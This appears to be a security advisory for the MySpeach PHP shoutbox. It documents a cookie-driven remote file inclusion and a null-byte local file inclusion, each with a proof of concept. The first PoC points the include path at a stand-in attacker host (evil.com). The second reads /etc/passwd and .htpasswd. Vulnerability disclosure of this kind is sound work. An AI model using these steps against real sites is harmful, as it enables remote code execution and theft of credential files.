 <0> DESCRIPTION
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  MySpeach is a shoutbox coded in PHP which works without any database. Indeed, it uses only text files to save the
messages. To my mind, it's a good script, but let's see the security, although there was a lot of different versions
to correct vulnerabilities.
So, the show must g0 on ...

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 <1> VULNERABILITY #1 : REMOTE FILE INCLUSION (WITH FULLPATHDISCL)

  { Cond: PHP>=5.0.0; register_globals=On; allow_url_fopen=On }
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  Firstly, after the installation, the code which must be put in the page to display the shoutbox MySpeach is the
following :

+--------8<--------
| <?php
| $my_ms['root']="/full/path/myspeach"; // Contains the realpath of the directory where myspeach is installed
| include($my_ms['root'].'/chat.php'); // Then, the file 'chat.php' is included
| ?>
+--------8<--------

  Let's see what is it interesting in the file 'chat.php' :

+--------8<--------
| // [...] line 15
| $clef = ''; $data = '';
| $listedesvariablesensible = array('ip_list', 'my_ms[root]','my_ms[site]','my_ms[absolu_root]','my_ms[msg_txt]',
| 'my_ms[id_unique]','my_ms| [copyright]','my_ms[skin]','my_ms[version]');
| foreach($listedesvariablesensible as $clef => $data)
| {
| 	$afiltrer = $data;
|  	if(isset($_GET[$afiltrer]) || isset($HTTP_GET_VARS[$afiltrer]))
|  	{ 
|    		$_GET[$afiltrer] = '';
|    		$HTTP_GET_VARS[$afiltrer] = '';
|  	}
|  	if(isset($_POST[$afiltrer]) || isset($HTTP_POST_VARS[$afiltrer]))
|  	{ 
|   		$_POST[$afiltrer] = '';
|    		$HTTP_POST_VARS[$afiltrer] = '';
|  	}
| }
| // Line 32 [...]
+--------8<--------

So this code filters all the variables $_GET/$HTTP_GET_VARS and $_POST/$HTTP_POST_VARS with a same name that the
variables which are used in the script, and it reinitializes their values. However, the vars $_COOKIE are not
filtered by this code.

  Besides, we can read the following code :

+--------8<--------
| // [...] line 35
| if(!@file_exists($my_ms['root'].'/admin/config.php'))
| exit('<br /><p align="center">MySpeach n est pas encore installé.</p>');
|
| //On inclut les fichiers de config (config files are included)
| include($my_ms['root'].'/admin/config.php');
| include($my_ms['root'].'/admin/options.php');
| include($my_ms['root'].'/admin/setup.php');
| include($my_ms['root'].'/admin/fonctions.php');
| // line 45 [...]
+--------8<--------

The $my_ms['root'] parameter can be overwritten with a cookie if register_globals = On in the 'php.ini', because
$my_ms['root'] is not initialized (see [1]). Therefore, it can deals a Remote File Inclusion (RFI).
Nevertheless, the RMI will work only if the server is running on PHP >= 5 because in this version, the file_exists()
function can be used with some URL wrappers (see [2] & [3]) if allow_url_fopen = On in the 'php.ini' (ftp:// can be used for
example but not http://).

  +---->> Vuln. #1 Pro0f of Concept <<--------//
  |
  | - Create a cookie : 	| Name  : my_ms[root]
  |				| Value : ftp://user:password@evil.com
  |				| Host  : www.victim.com
  | - Create a file called 'config.php' in a folder called 'admin' to obtain a path like that : evil.com/admin/config.php
  | - Then, go on the page : www.victim.com/[myspeach_install_directory(default: myspeach)]/chat.php
  |   * If you get the following error message : "MySpeach n est pas encore installé.", the vulnerability cannot be
  |     exploited, probably because the version of PHP is under 5.0.0 and/or register_globals = Off and/or 
  |     allow_url_fopen = Off.
  |   * Else, the RFI will work and, in the same time, a lot of inclusion errors will appears because the script try
  |     to include another files like 'admin/options.php', 'admin/setup.php' ... (but the RFI must be done with 'config.php'
  |     because if file_exists($my_ms['root']) return false, the function exit() will be called ...).
  |     Particularly, it sparks a Full Path Disclosure :
  |
  [     Fatal error: Call to undefined function my_MS_plus_un() in /full/path/myspeach/chat.php on line [line]
  |
  +-------------------------------------------


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 <2> VULNERABILITY #2 : LOCAL FILE INCLUSION (WITH FULLPATHDISCL)

  { Cond: only register_globals=On }
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  It is also possible to include a local file by using the Null Byte char \x0 (urlencoded: %00). It will also spark a FullPathDiscl.

  +---->> Vuln. #2 Pro0f of Concept <<--------
  |
  | - See the Vuln#1 PoC, but change the value of the cookie created, by the path of a local file ended with %00.
  | Example : /etc/passwd%00; ../admin-panel/.htpasswd%00 ... and it will work if register_globals=On
